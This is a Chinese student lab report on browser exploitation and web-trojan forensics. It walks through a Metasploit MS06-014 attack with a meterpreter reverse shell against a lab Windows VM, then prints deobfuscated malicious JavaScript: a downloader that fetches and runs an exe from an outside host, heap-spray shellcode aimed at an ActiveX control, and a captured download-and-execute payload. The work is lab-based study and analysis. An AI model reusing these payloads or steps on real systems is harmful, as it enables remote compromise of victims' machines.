1.Web浏览器渗透攻击实验
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
2.取证分析实践—网页木马攻击场景分析
3.攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
攻击机: BT4 Linux攻击机或Windows XP_ _Attacker攻击机,使用其中安装的Metasploit渗透攻击框架软件;
靶机:未打补丁的Windows靶机,可使用Windows 2KS靶机或Windows XP靶机。
选择使用Metasploit中的MS06-014渗透攻击模块(ie_ createobject);
选择PAYLOAD为任意远程Shell连接;
设置服务器地址(SVRHOST或LHOST)和URL参数,运行exploit,构造出恶意网页木马脚本;
在靶机环境中启动浏览器,验证与服务器的连通性,并访问恶意网页木马脚本URL;⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令。
本次实验使用的虚拟机为kali(IP:192.168.200.66)和Win2k(IP:192.168.200.124),并开启蜜罐保证连通性。
1.在kali中打开msfconsole
搜索MS06-014漏洞search MS06-014
选择module use 0
显示有效载荷show payloads
2.设置payload set payload windows/meterpreter/reverse_tcp
show options查看需要设置的参数(当时忘记截图,用的设置后的图片)
3.设置攻击机地址set LHOST 192.168.200.66
之后show options检查一下
4.攻击exploit
我们发现有个URL地址http://192.168.200.66:8080/LYEjTbusjcwZ1,可能是题目那个有木马的恶意地址
5.在靶机中访问这个地址http://192.168.200.66:8080/LYEjTbusjcwZ1
发现显示一段英文字符
回到攻击机中,发现已经建立会话
回车一下
6.用sessions查看目前的连接
使用命令sessions 1选择会话1,返回meterpreter
使用getuid查看当前权限,发现当前权限为Administrator
最后查看靶机ip也是与实际相符合的。
首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值 下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
如果解密出的地址给出的是网页或脚本文件,请继续解密。
如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
重复以上过程直到这些文件被全部分析完成。
由于没有实验环境,下面仅对已经提供的文件简要进行分析:
对于文件1.js(MS06-014网马),直接打开发现除了最外层的Eval()函数以外,其他都是十六进制编码,使用解码工具解码后发现内容为一些 JS 代码,然后格式化,得到下面的代码。
var url = "http://down.18dd.net/bb/014.exe"; try { var xml = ado.CreateObject("Microsoft.XMLHTTP", ""); xml.Open ("GET", url, 0); xml.Send(); as.type = 1; as.open(); as.write(xml.responseBody); path = "..\\ntuser.com"; as.savetofile(path, 2); as.close (); var shell = ado.createobject("Shell.Application", ""); shell.ShellExecute("cmd.exe", "/c " + path, "", "open", 0) } catch(e) {}
可见,该脚本下载了文件014.exe,然后利用系统漏洞,调用了命令行执行了该程序,那么这个程序一定是恶意程序了。
再看b.js
eval(function(p, a, c, k, e, d) { e = function(c) { return c }; if (!''.replace(/^/, String)) { while (c--) { d[c] = k[c] || c } k = [function(e) { return d[e] }]; e = function() { return '\\w+' }; c = 1 }; while (c--) { if (k[c]) { p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]) } } return p } ('5 1=29("%10%10");5 26=20;5 14=29("%82%3"+"%81%10%83%84%87%3%86%85"+"%79%78%72%22%71%70%69%73"+"%74%77%17%76%75%88%89%103"+"%17%102%101%104%105%108%107%106"+"%100%99%93%92%25%91%68%94"+"%95%98%97%25%96%109%63%37"+"%31%39%41%40%19%42%43%45"+"%38%3%44%46%35%12%32%22"+"%33%36%34%3%19%67%61%60"+"%59%62%47%66%65%64%58%57"+"%16%24%51%50%49%24%48%16"+"%52%53%56%55%54%90%152%168"+"%167%166%165%110%170%173%12%172"+"%171%164%12%157%156%155%154%158"+"%159%162%161%160%175%185%189%188"+"%187%191%193%195%194%23%192%190"+"%186%179%178%177%176%180%181%184"+"%183%182%174%153%18%11%125%124"+"%15%123%122%126%127%130%21%129"+"%128%121%120%114%18%11%113%112"+"%111%115%116%119%118%117%21%131"+"%132%146%11%144%147%148%151%150%149%143%142%136%23%135%134%133%137%15%3");5 4=26+14.6;13(1.6<4)1+=1;28=1.30(0,4);2=1.30(0,1.6-4);13(2.6+4<138)2=2+2+28;27=141 140();139(7=0;7<169;7++)27[7]=2+14;5 8=\'\';13(8.6<145)8+="\\9\\9\\9\\9";163.80(8)', 10, 196, '|bigblock|block|u0000|slackspace|var|length|x|buffer|x0a|u9090|u0041|u57ff|while|shellcode|u6578|u4320|ufb03|u7972|uc683||u6461|ud88b|u7465|u4343|u468b|headersize|memory|fillblock|unescape|substring|u008b|u5afc|u016a|u0057|u5652|ue859|uc103|u6ae8|uc303|uf78b|ufa8b|u8b0e|u6ad0|u8300|u5904|u0dc6|u5e80|u03c6|u632f|u03c7|u6643|u206a|uff53|u5c03|u04c7|uec57|u646d|u6303|ufa75|u803e|u8046|u3680|u02e1|uc7dc|u8b40|uec83|u5613|ud1c3|u1e74|u8b3c|u738b|u0840|u0378|u8bf3|u3314|u4e8b|u207e|u8bad|u1c70|rawParse|u9000|uf3e9|u5a90|ua164|u8b0c|u408b|u0030|u56ed|u5157|u2e61|u0324|ucd8b|u5e5f|u03e1|u33c1|u031c|u088b|u66c9|u59e9|ue245|u0e6a|uf28b|u3f8b|uf359|u74a6|ufcef|u835f|u5908|uc1c3|u50c0|u6e6f|u6d6c|u7275|u6172|u5500|u4c52|u6f6c|u6e77|u6f44|u6269|u4c64|u7845|u0063|u456e|u6957|u7469|u6854|u616f|u4c00|u6572|u6f54|u6946|u6662|u2f62|u622f|u6e2e|u652e|0x40000|for|Array|new|u6464|u3831|u7468|4068|u656c|u7074|u2f3a|u2e6e|u776f|u642f|uc765|u6f74|uff58|u0040|u2451|u68f0|u33d0|uacc0|u5251|uf975|uc085|storm|u5300|u3300|u0065|u7804|u0344|300|u5350|u6adc|u8bfc|u5056|u6365|u5356|u6547|u0073|u7365|u7264|u5374|u7379|u7269|u446d|u6574|ud2ff|u6441|u33ee|ue2ab|u595a|u636f|uc3c0|u7250|u0ce8|u47ff|uffff'.split('|'), 0, {}))
接下来是pps.js。
尝试使用八进制解码后:
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u*/ pps = (document.createElement("object")); pps.setAttribute("classid", "clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62 2f%u2f62%u7070%u2e73%u7865%u0065"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersize + shellcode.length; while (bigblock.length < slackspace) bigblock += bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length - slackspace); while (block.length + slackspace < 0x40000) block = block + block + fillblock; memory = new Array(); for (x = 0; x < 400; x++) memory[x] = block + shellcode; var buffer = ''; while (buffer.length < 500) buffer += "\x0a\x0a\x0a\x0a"; pps.Logo = buffer
这也是 shellcode。
接下来通过 IDA 打开提供的 pps.exe 文件。
可知,运行该程序后,会自动下载其他的 exe 文件,并且在根目录生成自动运行的文件
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
首先选择实验1中的MS06_014漏洞,重复先前步骤,在攻击前打开wireshark监听。
执行攻击
获取恶意网站链接http://192.168.200.66:8080/LYEjTbusjcwZ1,在靶机打开网站
同时看到攻击机的攻击行为
返回攻击机的wireshark,观察从靶机发送给攻击机的信息
追踪TCP流,发现一串很长很长的代码~而且有很多空格
经过反混淆和格式化处理后,得到如下的 JS 代码。
function eKXqxEpEOOOxsLSXxJeRxJCn(a) { var s = jwnxVgMVVlmT(a, "WScript.Shell"); var o = jwnxVgMVVlmT(a, "ADODB.Stream"); var e = s.Environment("Process"); var url = document.location + '/payload'; var xml = null; var bin = e.Item("TEMP") + "\\MrDqdDEsHwVsvWYbTDp.exe"; var dat; try { xml = new XMLHttpRequest() } catch (e) { try { xml = new ActiveXObject("Microsoft.XMLHTTP") } catch (e) { xml = new ActiveXObject("MSXML2.ServerXMLHTTP") } } if (!xml) { return (0) } xml.open("GET", url, false); xml.send(null); dat = xml.responseBody; o.Type = 1; o.Mode = 3; o.Open(); o.Write(dat); o.SaveToFile(bin, 2); s.Run(bin, 0) } function XlQTpSAsmOEMwLPxUVPUgMKrlrBR() { var i = 0; var t = new Array(' { BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36 } ', ' { BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30 } ', ' { 7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D } ', ' { 6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3 } ', ' { 6414512B - B978 - 451D - A0D8 - FCFDF33E833C } ', ' { 06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766 } ', ' { 639F725F - 1B2D - 4831 - A9FD - 874847682010 } ', ' { BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8 } ', ' { D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19 } ', ' { E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B } ', ' { AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116 } ', ' { 0006F033 - 0000 - 0000 - C000 - 000000000046 } ', ' { 0006F03A - 0000 - 0000 - C000 - 000000000046 } ', null); while (t[i]) { var a = null; if (t[i].substring(0, 1) == ' { ') { a = document.createElement("object"); a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1)) } else { try { a = new ActiveXObject(t[i]) } catch (e) {} } if (a) { try { var b = jwnxVgMVVlmT(a, "WScript.Shell"); if (b) { eKXqxEpEOOOxsLSXxJeRxJCn(a); return (0) } } catch (e) {} } i++ } }
攻击者使用的漏洞是MS06-014。
问题:在捕获的 TCP 流转化为 js 代码后不知如何下手
解决:各种搜索,终于在可疑的数组字符串中找到了漏洞线索
问题:最后一个实践有点难,很多问题回答不了,分析过程也是举步维艰
解决:看别人的博客,也没弄明白
这次实验比较难,有一些是参考了下同学的实验步骤。尤其实验二,有些不懂。